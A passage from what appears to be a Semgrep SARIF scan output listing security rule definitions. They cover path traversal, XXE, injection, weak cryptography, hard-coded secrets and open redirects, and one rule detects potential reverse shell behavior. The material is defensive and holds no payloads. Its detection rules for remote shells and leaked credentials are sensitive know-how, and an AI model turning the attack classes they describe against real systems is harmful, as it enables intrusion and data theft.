or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path","id":"rust.actix.path-traversal.tainted-path.tainted-path","name":"rust.actix.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","id":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","name":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'phpinfo' function may reveal sensitive information about your environment."},"help":{"markdown":"The 'phpinfo' function may reveal sensitive information about your environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use)\n - [https://www.php.net/manual/en/function.phpinfo](https://www.php.net/manual/en/function.phpinfo)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php)\n","text":"The 'phpinfo' function may reveal sensitive information about your environment."},"helpUri":"https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use","id":"php.lang.security.phpinfo-use.phpinfo-use","name":"php.lang.security.phpinfo-use.phpinfo-use","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.phpinfo-use.phpinfo-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/rsa#rsa](https://www.pycryptodome.org/src/public_key/rsa#rsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","id":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","name":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found potential reverse shell behavior"},"help":{"markdown":"Semgrep found potential reverse shell behavior\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found potential reverse shell behavior"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell","id":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","name":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.java-reverse-shell.java-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra)\n","text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","id":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","name":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"help":{"markdown":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding","id":"swift.lang.ns.nscoding.swift-nscoding","name":"swift.lang.ns.nscoding.swift-nscoding","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.nscoding.swift-nscoding"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path","id":"rust.hyper.path-traversal.tainted-path.tainted-path","name":"rust.hyper.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete","id":"cpp.lang.security.memory.deallocation.double-delete.double-delete","name":"cpp.lang.security.memory.deallocation.double-delete.double-delete","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-delete.double-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","id":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","name":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"help":{"markdown":"Downcasting or changing sign of an integer with `$CAST_METHOD` method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast)\n - [https://github.com/golang/go/issues/30209](https://github.com/golang/go/issues/30209)\n","text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"helpUri":"https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","id":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","name":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","properties":{"precision":"very-high","tags":["CWE-681: Incorrect Conversion between Numeric Types","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"help":{"markdown":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect","id":"javascript.express.security.audit.express-open-redirect.express-open-redirect","name":"javascript.express.security.audit.express-open-redirect.express-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-open-redirect.express-open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","id":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","name":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-mode.weak-symmetric-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS AppSync GraphQL Key detected"},"help":{"markdown":"AWS AppSync GraphQL Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS AppSync GraphQL Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","id":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","name":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"help":{"markdown":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request)\n - [https://godoc.org/github.com/reiver/go-telnet](https://godoc.org/github.com/reiver/go-telnet)\n","text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: 